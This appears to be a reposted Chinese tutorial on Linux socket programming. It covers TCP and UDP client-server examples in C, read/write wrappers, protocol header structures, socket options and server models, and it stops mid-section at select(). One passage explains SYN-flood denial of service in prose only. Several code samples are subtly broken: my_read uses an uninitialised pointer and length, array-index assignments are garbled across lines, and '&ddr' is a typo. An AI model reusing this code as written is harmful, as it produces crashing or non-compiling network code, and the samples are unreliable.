您的位置:首页 > 理论基础 > 计算机网络

深入理解socket网络编程

2017-09-06 10:50 197 查看
1.1

客户端程式和服务端程式

网络程式和普通的程式有一个最大的差别是网络程式是由两个部分组成的--客户端和服务器端.
网络程式是先有服务器程式启动,等待客户端的程式运行并建立连接.一般的来说是服务端的程式在一个端口上监听,直到有一个客户端的程式发来了请求.
1.2

常用的命令

由于网络程式是有两个部分组成,所以在调试的时候比较麻烦,为此我们有必要知道一些常用的网络命令
netstat

命令netstat是用来显示网络的连接,路由表和接口统计等网络的信息.netstat有许多的选项我们常用的选项是-an用来显示周详的网络状态.至于其他的选项我们能使用帮助手册获得周详的情况.
telnet

telnet是个用来远程控制的程式,不过我们完万能用这个程式来调试我们的服务端程式的.比如我们的服务器程式在监听8888端口,我们能用telnetlocalhost8888来查看服务端的状况.
1.3

TCP/UDP介绍

TCP(TransferControlProtocol)传输控制协议是一种面向连接的协议,当我们的网络程式使用这个协议的时候,网络能确保我们的客户端和服务端的连接是可靠的,安全的.
UDP(UserDatagramProtocol)用户数据报协议是一种非面向连接的协议,这种协议并不能确保我们的网络程式的连接是可靠的,所以我们目前编写的程式一般是采用TCP协议的.
Linux系统是通过提供套接字(socket)来进行网络编程的.网络程式通过socket和其他几个函数的调用,会返回一个
通讯的文件描述符,我们能将这个描述符看成普通的文件的描述符来操作,这就是linux的设备无关性的 好处.我们能通过向描述符读写操作实现网络之间的数据交流.
2.1 socket

int socket(int domain, int type,int protocol)
domain:说明我们网络程式所在的主机采用的通讯协族(AF_UNIX和AF_INET等). AF_UNIX只能够用于单一的Unix系统进程间通信,而AF_INET是针对Internet的,因而能允许在远程 主机之间通信(当我们 man socket时发现 domain可选项是 PF_*而不是AF_*,因为glibc是posix的实现 所以用PF代替了AF,不过我们都能使用的).
type:我们网络程式所采用的通讯协议(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM表明我们用的是TCP协议,这样会提供按顺序的,可靠,双向,面向连接的比特流. SOCK_DGRAM 表明我们用的是UDP协议,这样只会提供定长的,不可靠,无连接的通信.
protocol:由于我们指定了type,所以这个地方我们一般只要用0来代替就能了 socket为网络通讯做基本的准备.成功时返回文件描述符,失败时返回-1,看errno可知道出错的周详情况.

2.2 bind

int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd:是由socket调用返回的文件描述符.
addrlen:是sockaddr结构的长度.
my_addr:是个指向sockaddr的指针. 在<linux/socket.h>中有 sockaddr的定义
struct sockaddr{

unisgned short as_family;

char sa_data[14];

};
不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(struct sockaddr_in) 来代替.在<linux/in.h>中有sockaddr_in的定义

struct sockaddr_in{

unsigned short sin_family;

unsigned short int sin_port;

struct in_addr sin_addr;

unsigned char sin_zero[8];
我们主要使用Internet所以sin_family一般为AF_INET,sin_addr设置为INADDR_ANY表示能 和所有的主机通信,sin_port是我们要监听的端口号.sin_zero[8]是用来填充的. bind将本地的端口同socket返回的文件描述符捆绑在一起.成功是返回0,失败的情况和socket相同
2.3 listen

int listen(int sockfd,int backlog)
sockfd:是bind后的文件描述符.
backlog:设置请求排队的最大长度.当有多个客户端程式和服务端相连时, 使用这个表示能介绍的排队长度. listen函数将bind的文件描述符变为监听套接字.返回的情况和bind相同.

2.4 accept

int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd:是listen后的文件描述符.
addr,addrlen是用来给客户端的程式填写的,服务器端只要传递指针就能了. bind,listen和accept是服务器端用的函数,accept调用时,服务器端的程式会一直阻塞到有一个 客户程式发出了连接. accept成功时返回最后的服务器端的文件描述符,这个时候服务器端能向该描述符写信息了. 失败时返回-1

2.5 connect

int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
sockfd:socket返回的文件描述符.
serv_addr:储存了服务器端的连接信息.其中sin_add是服务端的地址
addrlen:serv_addr的长度
connect函数是客户端用来同服务端连接的.成功时返回0,sockfd是同服务端通讯的文件描述符 失败时返回-1.

2.6 实例
服务器端程式

/******* 服务器程式 (server.c) ************/

#include <stdlib.h>

#include <stdio.h>

#include <errno.h>

#include <string.h>

#include <netdb.h>

#include <sys/types.h>

#include
20315
<netinet/in.h>

#include <sys/socket.h>
int main(int argc, char *argv[])

{

int sockfd,new_fd;

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

int sin_size,portnumber;

char hello[]="Hello! Are You Fine?\n";
if(argc!=2)

{

fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);

exit(1);

}

if((portnumber=atoi(argv[1]))<0)

{

fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);

exit(1);

}
/* 服务器端开始建立socket描述符 */

if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)

{

fprintf(stderr,"Socket error:%s\n\a",strerror(errno));

exit(1);

}
/* 服务器端填充 sockaddr结构 */

bzero(&server_addr,sizeof(struct sockaddr_in));

server_addr.sin_family=AF_INET;

server_addr.sin_addr.s_addr=htonl(INADDR_ANY);

server_addr.sin_port=htons(portnumber);

/* 捆绑sockfd描述符 */

if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)

{

fprintf(stderr,"Bind error:%s\n\a",strerror(errno));

exit(1);

}

/* 监听sockfd描述符 */

if(listen(sockfd,5)==-1)

{

fprintf(stderr,"Listen error:%s\n\a",strerror(errno));

exit(1);

}
while(1)

{

/* 服务器阻塞,直到客户程式建立连接 */

sin_size=sizeof(struct sockaddr_in);

if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1)

{

fprintf(stderr,"Accept error:%s\n\a",strerror(errno));

exit(1);

}
fprintf(stderr,"Server get connection from %s\n",

inet_ntoa(client_addr.sin_addr));

if(write(new_fd,hello,strlen(hello))==-1)

{

fprintf(stderr,"Write Error:%s\n",strerror(errno));

exit(1);

}

/* 这个通讯已结束 */

close(new_fd);

/* 循环下一个 */

}

close(sockfd);

exit(0);

}

客户端程式
/******* 客户端程式 client.c ************/

#include <stdlib.h>

#include <stdio.h>

#include <errno.h>

#include <string.h>

#include <netdb.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>
int main(int argc, char *argv[])

{

int sockfd;

char buffer[1024];

struct sockaddr_in server_addr;

struct hostent *host;

int portnumber,nbytes;
if(argc!=3)

{

fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);

exit(1);

}

if((host=gethostbyname(argv[1]))==NULL)

{

fprintf(stderr,"Gethostname error\n");

exit(1);

}
if((portnumber=atoi(argv[2]))<0)

{

fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);

exit(1);

}

/* 客户程式开始建立 sockfd描述符 */

if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)

{

fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));

exit(1);

}
/* 客户程式填充服务端的资料 */

bzero(&server_addr,sizeof(server_addr));

server_addr.sin_family=AF_INET;

server_addr.sin_port=htons(portnumber);

server_addr.sin_addr=*((struct in_addr *)host->h_addr);

/* 客户程式发起连接请求 */

if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)

{

fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));

exit(1);

}
/* 连接成功了 */

if((nbytes=read(sockfd,buffer,1024))==-1)

{

fprintf(stderr,"Read Error:%s\n",strerror(errno));

exit(1);

}

buffer[nbytes]=’\0’;

printf("I have received:%s\n",buffer);

/* 结束通讯 */

close(sockfd);

exit(0);

}

MakeFile

这里我们使用GNU 的make实用程式来编译. 关于make的周详说明见 Make 使用介绍
######### Makefile ###########

all:server client

server:server.c

gcc $^ -o $@

client:client.c

gcc $^ -o $@
运行make后会产生两个程式server(服务器端)和client(客户端) 先运行./server portnumber& (portnumber随便取一个大于1204且不在/etc/services中出现的号码 就用8888好了),然后运行 ./client localhost 8888 看看有什么结果. (你也能用telnet和netstat试一试.) 上面是个最简单的网络程式,不过是不是也有点烦.上面有许多函数我们还没有解释.
我会在下一章进行的周详的说明.

2.7 总结

总的来说网络程式是由两个部分组成的--客户端和服务器端.他们的建立步骤一般是:
服务器端

socket-->bind-->listen-->accept
客户端

socket-->connect
一旦我们建立了连接,我们的下一步就是进行通信了.在Linux下面把我们前面建立的通道 看成是文件描述符,这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西了. 就象我们往文件读写相同.

4.1 写函数write
ssize_t write(int fd,const void *buf,size_t nbytes)
write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数.失败时返回-1. 并设置errno变量. 在网络程式中,当我们向套接字文件描述符写时有俩种可能.
1)write的返回值大于0,表示写了部分或是全部的数据.
2)返回的值小于0,此时出现了错误.我们要根据错误类型来处理.
如果错误为EINTR表示在写的时候出现了中断错误.
如果为EPIPE表示网络连接出现了问题(对方已关闭了连接).
为了处理以上的情况,我们自己编写一个写函数来处理这几种情况.

int my_write(int fd,void *buffer,int length)

{

int bytes_left;

int written_bytes;

char *ptr;
ptr=buffer;

bytes_left=length;

while(bytes_left>0)

{

/* 开始写*/

written_bytes=write(fd,ptr,bytes_left);

if(written_bytes<=0) /* 出错了*/

{

if(errno==EINTR) /* 中断错误 我们继续写*/

written_bytes=0;

else /* 其他错误 没有办法,只好撤退了*/

return(-1);

}

bytes_left-=written_bytes;

ptr+=written_bytes; /* 从剩下的地方继续写 */

}

return(0);

}
4.2 读函数read

ssize_t read(int fd,void *buf,size_t nbyte) read函数是负责从fd中读取内容.当读成功时,read返回实际所读的字节数,如果返回的值是0 表示已读到文件的结束了,小于0表示出现了错误.如果错误为EINTR说明读是由中断引起的, 如果是ECONNREST表示网络连接出了问题. 和上面相同,我们也写一个自己的读函数.
int my_read(int fd,void *buffer,int length)

{

int bytes_left;

int bytes_read;

char *ptr;

bytes_left=length;

while(bytes_left>0)

{

bytes_read=read(fd,ptr,bytes_read);

if(bytes_read<0)

{

if(errno==EINTR)

bytes_read=0;

else

return(-1);

}

else if(bytes_read==0)

break;

bytes_left-=bytes_read;

ptr+=bytes_read;

}

return(length-bytes_left);

}
4.3 数据的传递

有了上面的两个函数,我们就能向客户端或是服务端传递数据了.比如我们要传递一个结构.能使用如下方式
/* 客户端向服务端写 */
struct my_struct my_struct_client;

write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/* 服务端的读*/

char buffer[sizeof(struct my_struct)];

struct *my_struct_server;

read(fd,(void *)buffer,sizeof(struct my_struct));

my_struct_server=(struct my_struct *)buffer;
在网络上传递数据时我们一般都是把数据转化为char类型的数据传递.接收的时候也是相同的 注意的是我们没有必要在网络上传递指针(因为传递指针是没有所有意义的,我们必须传递指针所指向的内容)

> 我们前面已学习网络程式的一个非常大的部分,由这个部分的知识,我们实际上能写出大部分的基于TCP协议的网络程式了.目前在Linux下的大部分程式都是用我们上面所学的知识来写的.我们能去找一些源程式来参考一下.这一章,我们简单的学习一下基于UDP协议的网络程式.
5.1 两个常用的函数
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen)

int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen)
sockfd,buf,len的意义和read,write相同,分别表示套接字描述符,发送或接收的缓冲区及大小.recvfrom负责从sockfd接收数据,如果from不是NULL,那么在from里面存储了信息来源的情况,如果对信息的来源不感兴趣,能将from和fromlen设置为NULL.sendto负责向to发送信息.此时在to里面存储了收信息方的周详资料.

5.2 一个实例
/* 服务端程式 server.c */
#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <stdio.h>

#include <errno.h>

#define SERVER_PORT 8888

#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)

{

struct sockaddr_in addr;

int addrlen,n;

char msg[MAX_MSG_SIZE];

while(1)

{ /* 从网络上度,写到网络上面去 */

n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,

(struct sockaddr*)&addr,&addrlen);

msg
=0;

/* 显示服务端已收到了信息 */

fprintf(stdout,"I have received %s",msg);

sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);

}

}
int main(void)

{

int sockfd;

struct sockaddr_in addr;

sockfd=socket(AF_INET,SOCK_DGRAM,0);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%s\n",strerror(errno));

exit(1);

}

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_addr.s_addr=htonl(INADDR_ANY);

addr.sin_port=htons(SERVER_PORT);

if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0)

{

fprintf(stderr,"Bind Error:%s\n",strerror(errno));

exit(1);

}

udps_respon(sockfd);

close(sockfd);

}

/* 客户端程式 */

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <errno.h>

#include <stdio.h>

#include <unistd.h>

#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)

{

char buffer[MAX_BUF_SIZE];

int n;

while(1)

{ /* 从键盘读入,写到服务端 */

fgets(buffer,MAX_BUF_SIZE,stdin);

sendto(sockfd,buffer,strlen(buffer),0,addr,len);

bzero(buffer,MAX_BUF_SIZE);

/* 从网络上读,写到屏幕上 */

n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);

buffer
=0;

fputs(buffer,stdout);

}

}
int main(int argc,char **argv)

{

int sockfd,port;

struct sockaddr_in addr;

if(argc!=3)

{

fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);

exit(1);

}

if((port=atoi(argv[2]))<0)

{

fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);

exit(1);

}

sockfd=socket(AF_INET,SOCK_DGRAM,0);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%s\n",strerror(errno));

exit(1);

}

/* 填充服务端的资料 */

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_port=htons(port);

if(inet_aton(argv[1],&addr.sin_addr)<0)

{

fprintf(stderr,"Ip error:%s\n",strerror(errno));

exit(1);

}

udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));

close(sockfd);

}
########### 编译文件 Makefile ##########

all:server client

server:server.c

gcc -o server server.c

client:client.c

gcc -o client client.c

clean:

rm -f server

rm -f client

rm -f core
上面的实例如果大家编译运行的话,会发现一个小问题的. 在我机器上面,我先运行服务端,然后运行客户端.在客户端输入信息,发送到服务端, 在服务端显示已收到信息,不过客户端没有反映.再运行一个客户端,向服务端发出信息 却能得到反应.我想可能是第一个客户端已阻塞了.如果谁知道怎么解决的话,请告诉我,谢谢. 由于UDP协议是不确保可靠接收数据的需求,所以我们在发送信息的时候,系统并不能够确保我们发出的信息都正确无误的到达目的地.一般的来说我们在编写网络程式的时候都是选用TCP协议的.
在前面的几个部分里面,我们已学会了怎么样从网络上读写信息了.前面的一些函数(read,write)是网络程式里面最基本的函数.也是最原始的通信函数.在这一章里面,我们一起来学习网络通信的高级函数.这一章我们学习另外几个读写函数.
6.1 recv和send

recv和send函数提供了和read和write差不多的功能.不过他们提供 了第四个参数来控制读写操作.
int recv(int sockfd,void *buf,int len,int flags)

int send(int sockfd,void *buf,int len,int flags)
前面的三个参数和read,write相同,第四个参数能是0或是以下的组合

_______________________________________________________________

| MSG_DONTROUTE | 不查找路由表 |

| MSG_OOB | 接受或发送带外数据 |

| MSG_PEEK | 查看数据,并不从系统缓冲区移走数据 |

| MSG_WAITALL | 等待所有数据 |

|--------------------------------------------------------------|
MSG_DONTROUTE:是send函数使用的标志.这个标志告诉IP协议.目的主机在本地网络上面,没有必要查找路由表.这个标志一般用网络诊断和路由程式里面.

MSG_OOB:表示能接收和发送带外的数据.关于带外数据我们以后会解释的.
MSG_PEEK:是recv函数的使用标志,表示只是从系统缓冲区中读取内容,而不清晰系统缓冲区的内容.这样下次读的时候,仍然是相同的内容.一般在有多个进程读写数据时能使用这个标志.
MSG_WAITALL是recv函数的使用标志,表示等到所有的信息到达时才返回.使用这个标志的时候recv回一直阻塞,直到指定的条件满足,或是发生了错误. 1)当读到了指定的字节时,函数正常返回.返回值等于len 2)当读到了文件的结尾时,函数正常返回.返回值小于len 3)当操作发生错误时,返回-1,且设置错误为相应的错误号(errno)
如果flags为0,则和read,write相同的操作.更有其他的几个选项,不过我们实际上用的非常少,能查看 Linux Programmer’s Manual得到周详解释.
6.2 recvfrom和sendto

这两个函数一般用在非套接字的网络程式当中(UDP),我们已在前面学会了.
6.3 recvmsg和sendmsg

recvmsg和sendmsg能实现前面所有的读写函数的功能.
int recvmsg(int sockfd,struct msghdr *msg,int flags)

int sendmsg(int sockfd,struct msghdr *msg,int flags)

struct msghdr

{

void *msg_name;

int msg_namelen;

struct iovec *msg_iov;

int msg_iovlen;

void *msg_control;

int msg_controllen;

int msg_flags;

}
struct iovec

{

void *iov_base; /* 缓冲区开始的地址 */

size_t iov_len; /* 缓冲区的长度 */

}
msg_name和 msg_namelen当套接字是非面向连接时(UDP),他们存储接收和发送方的地址信息.msg_name实际上是个指向struct sockaddr的指针,msg_name是结构的长度.当套接字是面向连接时,这两个值应设为NULL. msg_iov和msg_iovlen指出接受和发送的缓冲区内容.msg_iov是个结构指针,msg_iovlen指出这个结构数组的大小.
msg_control和msg_controllen这两个变量是用来接收和发送控制数据时的 msg_flags指定接受和发送的操作选项.和recv,send的选项相同

6.4 套接字的关闭

关闭套接字有两个函数close和shutdown.用close时和我们关闭文件相同.
6.5 shutdown
int shutdown(int sockfd,int howto)
TCP连接是双向的(是可读写的),当我们使用close时,会把读写通道都关闭,有时侯我们希望只关闭一个方向,这个时候我们能使用shutdown.针对不同的howto,系统回采取不同的关闭方式.

howto=0这个时候系统会关闭读通道.不过能继续往接字描述符写.
howto=1关闭写通道,和上面相反,着时候就只能读了.
howto=2关闭读写通道,和close相同 在多进程程式里面,如果有几个子进程共享一个套接字时,如果我们使用shutdown, 那么所有的子进程都不能够操作了,这个时候我们只能够使用close来关闭子进程的套接字描述符.
你也许听说过TCP/IP协议,那么你知道到底什么是TCP,什么是IP吗?在这一章里面,我们一起来学习这个目前网络上用最广泛的协议.

7.1 网络传输分层

如果你考过计算机等级考试,那么你就应该已知道了网络传输分层这个概念.在网络上,人们为了传输数据时的方便,把网络的传输分为7个层次.分别是:应用层,表示层,会话层,传输层,网络层,数据链路层和物理层.分好了层以后,传输数据时,上一层如果要数据的话,就能直接向下一层要了,而不必要管数据传输的细节.下一层也只向他的上一层提供数据,而不要去管其他东西了.如果你不想考试,你没有必要去记这些东西的.只要知道是分层的,而且各层的作用不同.
7.2 IP协议

IP协议是在网络层的协议.他主要完成数据包的发送作用. 下面这个表是IP4的数据包格式
0 4 8 16 32

--------------------------------------------------

|版本 |首部长度|服务类型| 数据包总长 |

--------------------------------------------------

| 标识 |DF |MF| 碎片偏移 |

--------------------------------------------------

| 生存时间 | 协议 | 首部较验和 |

------------------------------------------------

| 源IP地址 |

------------------------------------------------

| 目的IP地址 |

-------------------------------------------------

| 选项 |

=================================================

| 数据 |

-------------------------------------------------
下面我们看一看IP的结构定义<netinet/ip.h>
struct ip

{

#if __BYTE_ORDER == __LITTLE_ENDIAN

unsigned int ip_hl:4; /* header length */

unsigned int ip_v:4; /* version */

#endif

#if __BYTE_ORDER == __BIG_ENDIAN

unsigned int ip_v:4; /* version */

unsigned int ip_hl:4; /* header length */

#endif

u_int8_t ip_tos; /* type of service */

u_short ip_len; /* total length */

u_short ip_id; /* identification */

u_short ip_off; /* fragment offset field */

#define IP_RF 0x8000 /* reserved fragment flag */

#define IP_DF 0x4000 /* dont fragment flag */

#define IP_MF 0x2000 /* more fragments flag */

#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */

u_int8_t ip_ttl; /* time to live */

u_int8_t ip_p; /* protocol */

u_short ip_sum; /* checksum */

struct in_addr ip_src, ip_dst; /* source and dest address */

};
ip_vIP协议的版本号,这里是4,目前IPV6已出来了
ip_hlIP包首部长度,这个值以4字节为单位.IP协议首部的固定长度为20个字节,如果IP包没有选项,那么这个值为5.
ip_tos服务类型,说明提供的优先权.
ip_len说明IP数据的长度.以字节为单位.
ip_id标识这个IP数据包.
ip_off碎片偏移,这和上面ID一起用来重组碎片的.
ip_ttl生存时间.没经过一个路由的时候减一,直到为0时被抛弃.
ip_p协议,表示创建这个IP数据包的高层协议.如TCP,UDP协议.
ip_sum首部校验和,提供对首部数据的校验.
ip_src,ip_dst发送者和接收者的IP地址
关于IP协议的周详情况,请参考 RFC791
7.3 ICMP协议

ICMP是消息控制协议,也处于网络层.在网络上传递IP数据包时,如果发生了错误,那么就会用ICMP协议来报告错误.
ICMP包的结构如下:
0 8 16 32

---------------------------------------------------------------------

| 类型 | 代码 | 校验和 |

--------------------------------------------------------------------

| 数据 | 数据 |

--------------------------------------------------------------------
ICMP在<netinet/ip_icmp.h>中的定义是

struct icmphdr

{

u_int8_t type; /* message type */

u_int8_t code; /* type sub-code */

u_int16_t checksum;

union

{

struct

{

u_int16_t id;

u_int16_t sequence;

} echo; /* echo datagram */

u_int32_t gateway; /* gateway address */

struct

{

u_int16_t __unused;

u_int16_t mtu;

} frag; /* path mtu discovery */

} un;

};
关于ICMP协议的周详情况能查看 RFC792
7.4 UDP协议

UDP协议是建立在IP协议基础之上的,用在传输层的协议.UDP和IP协议相同是不可靠的数据报服务.UDP的头格式为:

0 16 32

---------------------------------------------------

| UDP源端口 | UDP目的端口 |

---------------------------------------------------

| UDP数据报长度 | UDP数据报校验 |

---------------------------------------------------
UDP结构在<netinet/udp.h>中的定义为:

struct udphdr {

u_int16_t source;

u_int16_t dest;

u_int16_t len;

u_int16_t check;

};
关于UDP协议的周详情况,请参考 RFC768

7.5 TCP

TCP协议也是建立在IP协议之上的,不过TCP协议是可靠的.按照顺序发送的.TCP的数据结构比前面的结构都要复杂.
0 4 8 10 16 24 32

-------------------------------------------------------------------

| 源端口 | 目的端口 |

-------------------------------------------------------------------

| 序列号 |

------------------------------------------------------------------

| 确认号 |

------------------------------------------------------------------

| | |U|A|P|S|F| |

|首部长度| 保留 |R|C|S|Y|I| 窗口 |

| | |G|K|H|N|N| |

-----------------------------------------------------------------

| 校验和 | 紧急指针 |

-----------------------------------------------------------------

| 选项 | 填充字节 |

-----------------------------------------------------------------
TCP的结构在<netinet/tcp.h>中定义为:

struct tcphdr

{

u_int16_t source;

u_int16_t dest;

u_int32_t seq;

u_int32_t ack_seq;

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int16_t res1:4;

u_int16_t doff:4;

u_int16_t fin:1;

u_int16_t syn:1;

u_int16_t rst:1;

u_int16_t psh:1;

u_int16_t ack:1;

u_int16_t urg:1;

u_int16_t res2:2;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int16_t doff:4;

u_int16_t res1:4;

u_int16_t res2:2;

u_int16_t urg:1;

u_int16_t ack:1;

u_int16_t psh:1;

u_int16_t rst:1;

u_int16_t syn:1;

u_int16_t fin:1;

#endif

u_int16_t window;

u_int16_t check;

u_int16_t urg_prt;

};
source发送TCP数据的源端口

dest接受TCP数据的目的端口
seq标识该TCP所包含的数据字节的开始序列号
ack_seq确认序列号,表示接受方下一次接受的数据序列号.
doff数据首部长度.和IP协议相同,以4字节为单位.一般的时候为5
urg如果设置紧急数据指针,则该位为1
ack如果确认号正确,那么为1
psh如果设置为1,那么接收方收到数据后,即时交给上一层程式
rst为1的时候,表示请求重新连接
syn为1的时候,表示请求建立连接
fin为1的时候,表示亲戚关闭连接
window窗口,告诉接收者能接收的大小
check对TCP数据进行较核
urg_ptr如果urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值
关于TCP协议的周详情况,请查看 RFC793

7.6 TCP连接的建立

TCP协议是一种可靠的连接,为了确保连接的可靠性,TCP的连接要分为几个步骤.我们把这个连接过程称为"三次握手".
下面我们从一个实例来分析建立连接的过程.
第一步客户机向服务器发送一个TCP数据包,表示请求建立连接. 为此,客户端将数据包的SYN位设置为1,并且设置序列号seq=1000(我们假设为1000).
第二步服务器收到了数据包,并从SYN位为1知道这是个建立请求的连接.于是服务器也向客户端发送一个TCP数据包.因为是响应客户机的请求,于是服务器设置ACK为1,sak_seq=1001(1000+1)同时设置自己的序列号.seq=2000(我们假设为2000).
第三步客户机收到了服务器的TCP,并从ACK为1和ack_seq=1001知道是从服务器来的确认信息.于是客户机也向服务器发送确认信息.客户机设置ACK=1,和ack_seq=2001,seq=1001,发送给服务器.至此客户端完成连接.
最后一步服务器受到确认信息,也完成连接.
通过上面几个步骤,一个TCP连接就建立了.当然在建立过程中可能出现错误,不过TCP协议能确保自己去处理错误的.

说一说其中的一种错误.

听说过DOS吗?(可不是操作系统啊).今年春节的时候,美国的五大网站一起受到攻击.攻击者用的就是DOS(拒绝式服务)方式.概括的说一下原理.

客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的TCP连接,客户机应该进行第三个步骤.

不过攻击者实际上并不进行第三个步骤.因为客户端在进行第一个步骤的时候,修改了自己的IP地址,就是说将一个实际上不存在的IP填充在自己IP数据包的发送者的IP一栏.这样因为服务器发的IP地址没有人接收,所以服务端会收不到第三个步骤的确认信号,这样服务务端会在那边一直等待,直到超时.

这样当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,而不能再接收客户机的请求.

这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功.于是就出现了春节时所出现的情况.
有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了.

8.1 getsockopt和setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen)

int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)
level指定控制套接字的层次.能取三种值: 1)SOL_SOCKET:通用套接字选项. 2)IPPROTO_IP:IP选项. 3)IPPROTO_TCP:TCP选项.

optname指定控制的方式(选项的名称),我们下面周详解释
optval获得或是设置套接字选项.根据选项名称的数据类型进行转换

选项名称 说明 数据类型

========================================================================

SOL_SOCKET

------------------------------------------------------------------------

SO_BROADCAST 允许发送广播数据 int

SO_DEBUG 允许调试 int

SO_DONTROUTE 不查找路由 int

SO_ERROR 获得套接字错误 int

SO_KEEPALIVE 保持连接 int

SO_LINGER 延迟关闭连接 struct linger

SO_OOBINLINE 带外数据放入正常数据流 int

SO_RCVBUF 接收缓冲区大小 int

SO_SNDBUF 发送缓冲区大小 int

SO_RCVLOWAT 接收缓冲区下限 int

SO_SNDLOWAT 发送缓冲区下限 int

SO_RCVTIMEO 接收超时 struct timeval

SO_SNDTIMEO 发送超时 struct timeval

SO_REUSERADDR 允许重用本地地址和端口 int

SO_TYPE 获得套接字类型 int

SO_BSDCOMPAT 和BSD系统兼容 int

==========================================================================

IPPROTO_IP

--------------------------------------------------------------------------

IP_HDRINCL 在数据包中包含IP首部 int

IP_OPTINOS IP首部选项 int

IP_TOS 服务类型

IP_TTL 生存时间 int

==========================================================================

IPPRO_TCP

--------------------------------------------------------------------------

TCP_MAXSEG TCP最大数据段的大小 int

TCP_NODELAY 不使用Nagle算法 int

=========================================================================
关于这些选项的周详情况请查看 Linux Programmer’s Manual
8.2 ioctl

ioctl能控制所有的文件描述符的情况,这里介绍一下控制套接字的选项.
int ioctl(int fd,int req,...)

==========================================================================

ioctl的控制选项

--------------------------------------------------------------------------

SIOCATMARK 是否到达带外标记 int

FIOASYNC 异步输入/输出标志 int

FIONREAD 缓冲区可读的字节数 int

==========================================================================
周详的选项请用 man ioctl_list 查看.

学习过《软件工程》吧.软件工程可是每一个程式员"必修"的课程啊.如果你没有学习过, 建议你去看一看. 在这一章里面,我们一起来从软件工程的角度学习网络编程的思想.在我们写程式之前, 我们都应该从软件工程的角度规划好我们的软件,这样我们研发软件的效率才会高. 在网络程式里面,一般的来说都是许多客户机对应一个服务器.为了处理客户机的请求, 对服务端的程式就提出了特别的需求.我们学习一下目前最常用的服务器模型.
循环服务器:循环服务器在同一个时刻只能响应一个客户端的请求
并发服务器:并发服务器在同一个时刻能响应多个客户端的请求

9.1 循环服务器:UDP服务器

UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机.
能用下面的算法来实现.
socket(...);

bind(...);

while(1)

{

recvfrom(...);

process(...);

sendto(...);

}
因为UDP是非面向连接的,没有一个客户端能老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足.

9.2 循环服务器:TCP服务器

TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接.
算法如下:
socket(...);

bind(...);

listen(...);

while(1)

{

accept(...);

while(1)

{

read(...);

process(...);

write(...);

}

close(...);

}
TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 服务器才能继续后面的请求.这样如果有一个客户端占住服务器不放时,其他的客户机都不能工作了.因此,TCP服务器一般非常少用循环服务器模型的.
9.3 并发服务器:TCP服务器

为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器直接处理,而是服务器创建一个 子进程来处理.
算法如下:
socket(...);

bind(...);

listen(...);

while(1)

{

accept(...);

if(fork(..)==0)

{

while(1)

{

read(...);

process(...);

write(...);

}

close(...);

exit(...);

}

close(...);

}
TCP并发服务器能解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作.
9.4 并发服务器:多路复用I/O

为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型.
首先介绍一个函数select
int select(int nfds,fd_set *readfds,fd_set *writefds,

fd_set *except fds,struct timeval *timeout)

void FD_SET(int fd,fd_set *fdset)

void FD_CLR(int fd,fd_set *fdset)

void FD_ZERO(fd_set *fdset)

